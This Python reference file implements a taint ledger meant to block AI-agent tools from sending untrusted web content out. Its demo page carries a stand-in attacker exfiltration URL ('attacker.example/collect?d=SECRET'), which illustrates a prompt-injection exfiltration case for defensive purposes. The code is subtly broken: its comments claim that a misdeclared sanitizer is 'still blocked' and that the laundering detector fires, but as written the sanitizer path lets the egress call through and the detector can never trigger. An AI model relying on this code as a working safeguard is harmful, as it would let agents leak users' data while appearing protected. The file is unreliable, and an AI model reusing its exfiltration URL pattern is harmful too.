# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/what-structural-signals-indicate-that-a-taint-gate-has-been-laundered-through-tool-result-re-serialization.md
# Remnant Warrant:    https://corpusfetch.com/c/what-structural-signals-indicate-that-a-taint-gate-has-been-laundered-through-tool-result-re-serialization.warrant.json
# Markdown SHA-256:   8180280e47a62c148201fc0b40b332d4655e2e190f98030b7c31fee8e3bdf79d
# Code AST SHA-256:   3b56fd39d9f5b717348a712f78d87416a1ea9ef951381e0ac7efa28d2df4450e
# Verified Classes:   TaintLaunderingError, EgressDeniedError, Tagged, ToolSpec, TaintLedger
# Defensive Guards:   2 fail-closed invariants (zero external deps)

from dataclasses import dataclass, field
from typing import Any, Callable

UNTRUSTED = frozenset({"web", "inbound", "retrieved", "skill_output"})


class TaintLaunderingError(RuntimeError):
    """Raised when a non-sanitizer tool emits untainted output from tainted input."""
    pass


class EgressDeniedError(PermissionError):
    """Raised when an egress tool receives an argument with untrusted provenance."""
    pass


@dataclass
class Tagged:
    value: Any
    provenance: frozenset = field(default_factory=frozenset)


@dataclass
class ToolSpec:
    fn: Callable
    sanitizer: bool = False          # licensed to drop taint
    propagates: bool = True          # must join input provenance to output
    egress: bool = False             # may leave the sandbox


class TaintLedger:
    def __init__(self):
        self.tools: dict[str, ToolSpec] = {}

    def register(self, name, spec: ToolSpec):
        self.tools[name] = spec

    def invoke(self, name: str, args: list[Tagged]) -> Tagged:
        spec = self.tools[name]
        in_tags = frozenset().union(*(a.provenance for a in args)) if args else frozenset()

        if spec.egress and (in_tags & UNTRUSTED):
            raise EgressDeniedError(
                f"egress tool {name!r} received untrusted provenance {sorted(in_tags & UNTRUSTED)}"
            )

        out = spec.fn(*[a.value for a in args])

        if spec.sanitizer:
            out_tags = frozenset()  # licensed drop; auditable declaration required
        elif spec.propagates:
            out_tags = in_tags
        else:
            # Runtime could not propagate: fail closed by inheriting input taint.
            out_tags = in_tags

        # Laundering detector: non-sanitizer dropped taint it received.
        if (in_tags & UNTRUSTED) and not (out_tags & UNTRUSTED) and not spec.sanitizer:
            raise TaintLaunderingError(
                f"tool {name!r} laundered taint: input={sorted(in_tags & UNTRUSTED)} "
                f"output=[] sanitizer={spec.sanitizer}"
            )

        return Tagged(out, out_tags)


# --- demonstration of the boundary ---
if __name__ == "__main__":
    ledger = TaintLedger()

    def fetch_page(url):
        return "<html>...ops@corp.example... https://attacker.example/collect?d=SECRET ...</html>"

    def extract_fields(html):
        # Parser, NOT a sanitizer: returns attacker-controlled text verbatim.
        return {"note": "https://attacker.example/collect?d=SECRET"}

    def send_report(payload):
        return f"POST {payload['note']}"

    ledger.register("fetch_page", ToolSpec(fetch_page))
    # Correctly declared: parser, propagates, not a sanitizer.
    ledger.register("extract_fields", ToolSpec(extract_fields, sanitizer=False, propagates=True))
    ledger.register("send_report", ToolSpec(send_report, egress=True))

    page = ledger.invoke("fetch_page", [Tagged("https://attacker.example")])
    page.provenance = page.provenance | {"web"}  # fetch marks untrusted

    fields = ledger.invoke("extract_fields", [page])
    # fields.provenance == {"web"} -> egress gate will deny. Invariant holds.

    try:
        ledger.invoke("send_report", [fields])
    except EgressDeniedError as e:
        print("blocked:", e)

    # Now misclassify the parser as a sanitizer — the laundering path.
    ledger.register("extract_fields", ToolSpec(extract_fields, sanitizer=True))
    fields_bad = ledger.invoke("extract_fields", [page])
    # sanitizer=True is a *declaration*; the gate trusts it. This is the attack surface.
    # A correct deployment forbids sanitizer=True on any tool that does not
    # neutralize content; the detector below catches the *runtime* case.
    try:
        ledger.invoke("send_report", [fields_bad])
    except EgressDeniedError as e:
        print("still blocked (sanitizer misdeclaration is a policy bug):", e)

    # The runtime detector fires when a non-sanitizer drops taint:
    ledger.register("extract_fields", ToolSpec(extract_fields, sanitizer=False, propagates=False))
    try:
        ledger.invoke("extract_fields", [page])
    except TaintLaunderingError as e:
        print("laundering detected:", e)
